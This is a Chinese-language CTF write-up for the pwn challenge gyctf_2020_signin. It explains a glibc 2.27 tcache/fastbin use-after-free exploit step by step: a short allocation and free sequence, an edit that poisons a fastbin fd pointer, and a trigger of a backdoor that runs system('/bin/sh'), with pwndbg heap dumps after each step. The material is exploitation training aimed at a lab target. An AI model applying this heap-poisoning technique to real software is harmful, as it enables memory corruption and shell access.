CTF-pwn:libc2.27指针劫持[gyctf_2020_signin]

add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)# fast binpush()
add(8)# tcache bin
edit(7,p64(0x4040c0-0x10))
add(9)io.sendlineafter(b'your choice?',b'6')

我们来看看这是为什么

add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xb80000
Size: 0x250 (with flag bits: 0x251)Allocated chunk | PREV_INUSE
Addr: 0xb80250
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb802d0
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb80350
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb803d0
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb80450
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb804d0
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb80550
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb805d0
Size: 0x80 (with flag bits: 0x81)Top chunk | PREV_INUSE
Addr: 0xb80650
Size: 0x209b0 (with flag bits: 0x209b1)

delete(0)

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xb80000
Size: 0x250 (with flag bits: 0x251)Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80250
Size: 0x80 (with flag bits: 0x81)
fd: 0x00Allocated chunk | PREV_INUSE
Addr: 0xb802d0
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb80350
Size: 0x80 (with flag bits: 0x81)bAllocated chunk | PREV_INUSE
Addr: 0xb803d0
Size: 0x80 (with flag bits: 0x81)iAllocated chunk | PREV_INUSE
Addr: 0xb80450
Size: 0x80 (with flag bits: 0x81)nAllocated chunk | PREV_INUSE
Addr: 0xb804d0
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb80550
Size: 0x80 (with flag bits: 0x81)sAllocated chunk | PREV_INUSE
Addr: 0xb805d0
Size: 0x80 (with flag bits: 0x81)Top chunk | PREV_INUSE
Addr: 0xb80650
Size: 0x209b0 (with flag bits: 0x209b1)pwndbg> bins
tcachebins
0x80 [  1]: 0xb80260 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

delete(1)

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xb80000
Size: 0x250 (with flag bits: 0x251)Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80250
Size: 0x80 (with flag bits: 0x81)
fd: 0x00bFree chunk (tcachebins) | PREV_INUSE
Addr: 0xb802d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80260iAllocated chunk | PREV_INUSE
Addr: 0xb80350
Size: 0x80 (with flag bits: 0x81)nAllocated chunk | PREV_INUSE
Addr: 0xb803d0
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb80450
Size: 0x80 (with flag bits: 0x81)sAllocated chunk | PREV_INUSE
Addr: 0xb804d0
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb80550
Size: 0x80 (with flag bits: 0x81)Allocated chunk | PREV_INUSE
Addr: 0xb805d0
Size: 0x80 (with flag bits: 0x81)Top chunk | PREV_INUSE
Addr: 0xb80650
Size: 0x209b0 (with flag bits: 0x209b1)pwndbg> bins
tcachebins
0x80 [  2]: 0xb802e0 —▸ 0xb80260 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

我们发现，第一个释放的堆的fd是空的，而第二个释放的指向了第一个的fd,以此类推

delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7)# fast bin

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xb80000
Size: 0x250 (with flag bits: 0x251)Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80250
Size: 0x80 (with flag bits: 0x81)
fd: 0x00Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb802d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80260Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80350
Size: 0x80 (with flag bits: 0x81)
fd: 0xb802e0Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb803d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80360Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80450
Size: 0x80 (with flag bits: 0x81)
fd: 0xb803e0Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb804d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80460Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80550
Size: 0x80 (with flag bits: 0x81)
fd: 0xb804e0Free chunk (fastbins) | PREV_INUSE
Addr: 0xb805d0
Size: 0x80 (with flag bits: 0x81)
fd: 0x00Top chunk | PREV_INUSE
Addr: 0xb80650
Size: 0x209b0 (with flag bits: 0x209b1)pwndbg> bins
tcachebins
0x80 [  7]: 0xb80560 —▸ 0xb804e0 —▸ 0xb80460 —▸ 0xb803e0 —▸ 0xb80360 —▸ 0xb802e0 —▸ 0xb80260 ◂— 0
fastbins
0x80: 0xb805d0 ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty

add(8)

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xb80000
Size: 0x250 (with flag bits: 0x251)Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80250
Size: 0x80 (with flag bits: 0x81)
fd: 0x00Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb802d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80260bFree chunk (tcachebins) | PREV_INUSE
Addr: 0xb80350
Size: 0x80 (with flag bits: 0x81)
fd: 0xb802e0iFree chunk (tcachebins) | PREV_INUSE
Addr: 0xb803d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80360nFree chunk (tcachebins) | PREV_INUSE
Addr: 0xb80450
Size: 0x80 (with flag bits: 0x81)
fd: 0xb803e0sFree chunk (tcachebins) | PREV_INUSE
Addr: 0xb804d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80460Allocated chunk | PREV_INUSE
Addr: 0xb80550
Size: 0x80 (with flag bits: 0x81)Free chunk (fastbins) | PREV_INUSE
Addr: 0xb805d0
Size: 0x80 (with flag bits: 0x81)
fd: 0x00Top chunk | PREV_INUSE
Addr: 0xb80650
Size: 0x209b0 (with flag bits: 0x209b1)pwndbg> bins
tcachebins
0x80 [  6]: 0xb804e0 —▸ 0xb80460 —▸ 0xb803e0 —▸ 0xb80360 —▸ 0xb802e0 —▸ 0xb80260 ◂— 0
fastbins
0x80: 0xb805d0 ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty

现在我们利用UAF劫持指针

edit(7,p64(0x4040c0-0x10))

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xb80000
Size: 0x250 (with flag bits: 0x251)Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80250
Size: 0x80 (with flag bits: 0x81)
fd: 0x00Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb802d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80260Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80350
Size: 0x80 (with flag bits: 0x81)
fd: 0xb802e0Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb803d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80360Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb80450
Size: 0x80 (with flag bits: 0x81)
fd: 0xb803e0Free chunk (tcachebins) | PREV_INUSE
Addr: 0xb804d0
Size: 0x80 (with flag bits: 0x81)
fd: 0xb80460Allocated chunk | PREV_INUSE
Addr: 0xb80550
Size: 0x80 (with flag bits: 0x81)Free chunk (fastbins) | PREV_INUSE
Addr: 0xb805d0
Size: 0x80 (with flag bits: 0x81)
fd: 0x4040b0Top chunk | PREV_INUSE
Addr: 0xb80650
Size: 0x209b0 (with flag bits: 0x209b1)pwndbg> bins
tcachebins
0x80 [  6]: 0xb804e0 —▸ 0xb80460 —▸ 0xb803e0 —▸ 0xb80360 —▸ 0xb802e0 —▸ 0xb80260 ◂— 0
fastbins
0x80: 0xb805d0 —▸ 0x4040b0 (stdin@@GLIBC_2.2.5) ◂— 0
unsortedbin
empty
smallbins
empty
largebins
empty
pwndbg>

void __noreturn backdoor()
{calloc(1uLL, 0x70uLL);if ( change_it )system("/bin/sh");exit(0);
}

在此版本中calloc会优先分配fastbin,calloc 将这个 chunk 分配出去时会把这个0x4040b0放入tcache,并修改其0x4040b0+0x10的fd指向上一个tcachebin堆块，